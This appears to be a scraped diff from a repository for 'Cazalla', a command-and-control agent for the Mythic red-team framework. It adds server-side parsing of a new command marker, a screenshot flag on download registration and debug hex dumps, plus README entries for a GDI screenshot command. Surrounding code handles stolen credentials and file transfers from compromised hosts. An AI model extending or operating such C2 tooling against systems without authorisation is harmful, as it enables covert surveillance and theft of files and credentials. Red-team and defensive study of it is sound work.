# Extract output, but handle case where output might be empty (e.g., download chunks)
|
||||||
output, data = getBytesWithSize(data)
|
output, data = getBytesWithSize(data)
|
||||||
@@ -185,11 +240,13 @@ def postResponse(data):
|
|||||||
# Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
|
# Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
|
||||||
# Download registration: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4]
|
# Download registration: [0xFD][action:0][full_path_len:4][full_path][total_chunks:4][chunk_size:4]
|
||||||
# Download chunk: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64]
|
# Download chunk: [0xFC][action:1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64]
|
||||||
|
# Commands: [0xF7][action_len:4][action][cmd_len:4][cmd]
|
||||||
artifacts_data = []
|
artifacts_data = []
|
||||||
credentials_data = []
|
credentials_data = []
|
||||||
download_registration = None
|
download_registration = None
|
||||||
download_chunk = None
|
download_chunk = None
|
||||||
upload_request = None
|
upload_request = None
|
||||||
|
commands_data = []
|
||||||
remaining_data = data
|
remaining_data = data
|
||||||
|
|
||||||
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
||||||
@@ -353,12 +410,18 @@ def postResponse(data):
|
|||||||
offset += 4
|
offset += 4
|
||||||
|
|
||||||
# Store download registration info
|
# Store download registration info
|
||||||
|
# If full_path is "SCREENSHOT", this is a screenshot, not a file download
|
||||||
|
is_screenshot = (full_path == "SCREENSHOT")
|
||||||
download_registration = {
|
download_registration = {
|
||||||
"full_path": full_path,
|
"full_path": full_path,
|
||||||
"total_chunks": total_chunks,
|
"total_chunks": total_chunks,
|
||||||
"chunk_size": chunk_size
|
"chunk_size": chunk_size,
|
||||||
|
"is_screenshot": is_screenshot
|
||||||
}
|
}
|
||||||
print(f"[DOWNLOAD] Registro detectado: path={full_path}, chunks={total_chunks}, chunk_size={chunk_size}")
|
if is_screenshot:
|
||||||
|
print(f"[SCREENSHOT] Registro detectado: chunks={total_chunks}, chunk_size={chunk_size}")
|
||||||
|
else:
|
||||||
|
print(f"[DOWNLOAD] Registro detectado: path={full_path}, chunks={total_chunks}, chunk_size={chunk_size}")
|
||||||
|
|
||||||
remaining_data = remaining_data[offset:]
|
remaining_data = remaining_data[offset:]
|
||||||
elif remaining_data[0] == 0xFC:
|
elif remaining_data[0] == 0xFC:
|
||||||
@@ -478,6 +541,48 @@ def postResponse(data):
|
|||||||
print(f"[UPLOAD] Request detectado: file_id={file_id}, chunk_num={chunk_num}, chunk_size={chunk_size}, path={full_path}")
|
print(f"[UPLOAD] Request detectado: file_id={file_id}, chunk_num={chunk_num}, chunk_size={chunk_size}, path={full_path}")
|
||||||
|
|
||||||
remaining_data = remaining_data[offset:]
|
remaining_data = remaining_data[offset:]
|
||||||
|
elif remaining_data[0] == 0xF7:
|
||||||
|
# Commands marker found
|
||||||
|
# Format: [0xF7][action_len:4][action][cmd_len:4][cmd]
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
# Extract action ("add" or "remove")
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
action_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if action_len == 0 or len(remaining_data) < offset + action_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
action = remaining_data[offset:offset+action_len].decode('utf-8')
|
||||||
|
offset += action_len
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extract cmd (command name)
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
cmd_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if cmd_len == 0 or len(remaining_data) < offset + cmd_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
cmd = remaining_data[offset:offset+cmd_len].decode('utf-8')
|
||||||
|
offset += cmd_len
|
||||||
|
|
||||||
|
commands_data.append({
|
||||||
|
"action": action,
|
||||||
|
"cmd": cmd
|
||||||
|
})
|
||||||
|
print(f"[COMMANDS] Command {action} detectado: {cmd}")
|
||||||
|
|
||||||
|
remaining_data = remaining_data[offset:]
|
||||||
|
except:
|
||||||
|
break
|
||||||
else:
|
else:
|
||||||
# No more markers
|
# No more markers
|
||||||
break
|
break
|
||||||
@@ -570,6 +675,21 @@ def postResponse(data):
|
|||||||
jsonTask["credentials"] = credentials
|
jsonTask["credentials"] = credentials
|
||||||
print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
|
print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
|
||||||
|
|
||||||
|
# Support for commands: create commands array from parsed data
|
||||||
|
commands = []
|
||||||
|
|
||||||
|
# Process all detected commands
|
||||||
|
for cmd_info in commands_data:
|
||||||
|
commands.append({
|
||||||
|
"action": cmd_info["action"],
|
||||||
|
"cmd": cmd_info["cmd"]
|
||||||
|
})
|
||||||
|
|
||||||
|
# Add commands array if we have any
|
||||||
|
if len(commands) > 0:
|
||||||
|
jsonTask["commands"] = commands
|
||||||
|
print(f"[COMMANDS] Total de commands agregados: {len(commands)}")
|
||||||
|
|
||||||
# Add download information if present
|
# Add download information if present
|
||||||
if download_registration:
|
if download_registration:
|
||||||
jsonTask["download"] = download_registration
|
jsonTask["download"] = download_registration
|
||||||
|
|||||||
@@ -308,6 +308,10 @@ class cazalla_translator(TranslationContainer):
|
|||||||
|
|
||||||
elif data[0] == commands["post_response"]["hex_code"]:
|
elif data[0] == commands["post_response"]["hex_code"]:
|
||||||
print("POST RESPONSE")
|
print("POST RESPONSE")
|
||||||
|
print(f"[DEBUG] POST_RESPONSE - data length: {len(data)} bytes")
|
||||||
|
print(f"[DEBUG] POST_RESPONSE - data[0:100] (hex): {binascii.hexlify(data[:100]).decode()}")
|
||||||
|
print(f"[DEBUG] POST_RESPONSE - clean_data length: {len(clean_data)} bytes")
|
||||||
|
print(f"[DEBUG] POST_RESPONSE - clean_data[0:100] (hex): {binascii.hexlify(clean_data[:100] if len(clean_data) >= 100 else clean_data).decode()}")
|
||||||
response.Message = postResponse(clean_data)
|
response.Message = postResponse(clean_data)
|
||||||
# Agregar array SOCKS si existe
|
# Agregar array SOCKS si existe
|
||||||
if socks_array:
|
if socks_array:
|
||||||
|
|||||||
@@ -199,6 +199,7 @@ For more information, see the [Mythic documentation on customizing public agents
|
|||||||
| Command | Description | Example |
|
| Command | Description | Example |
|
||||||
|---------|-------------|---------|
|
|---------|-------------|---------|
|
||||||
| `ps` | List running processes with Process Browser support | `ps` |
|
| `ps` | List running processes with Process Browser support | `ps` |
|
||||||
|
| `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` |
|
||||||
|
|
||||||
**Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI.
|
**Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI.
|
||||||
|
|
||||||
@@ -512,6 +513,8 @@ Cazalla automatically reports artifacts created during command execution, allowi
|
|||||||
- **Process Create Tracking**: Every `shell` command execution creates an artifact showing the command line
|
- **Process Create Tracking**: Every `shell` command execution creates an artifact showing the command line
|
||||||
- **Artifact Management**: Artifacts appear in Mythic's Artifacts page (click the fingerprint icon)
|
- **Artifact Management**: Artifacts appear in Mythic's Artifacts page (click the fingerprint icon)
|
||||||
- **Extensible**: Easy to add artifact reporting for other commands (File Write, Network Connection, etc.)
|
- **Extensible**: Easy to add artifact reporting for other commands (File Write, Network Connection, etc.)
|
||||||
|
- **API Call**: Reported for:
|
||||||
|
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
||||||
|
|
||||||
### How It Works
|
### How It Works
|
||||||
|
|
||||||
@@ -568,6 +571,8 @@ Currently supported:
|
|||||||
- `rm` (delete) - reports deleted file/directory path
|
- `rm` (delete) - reports deleted file/directory path
|
||||||
- **File Read**: Automatically reported for:
|
- **File Read**: Automatically reported for:
|
||||||
- `download` - reports file path when downloading files
|
- `download` - reports file path when downloading files
|
||||||
|
- **API Call**: Reported for:
|
||||||
|
- `screenshot` - GDI Screen Capture (GetDC, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt, GetDIBits)
|
||||||
|
|
||||||
**Note**: The following commands don't require artifacts as they are read-only or don't modify system state:
|
**Note**: The following commands don't require artifacts as they are read-only or don't modify system state:
|
||||||
- `ls`, `cd`, `pwd` - read-only file system operations
|
- `ls`, `cd`, `pwd` - read-only file system operations
|
||||||
|
|||||||
Reference in New Issue
Block a user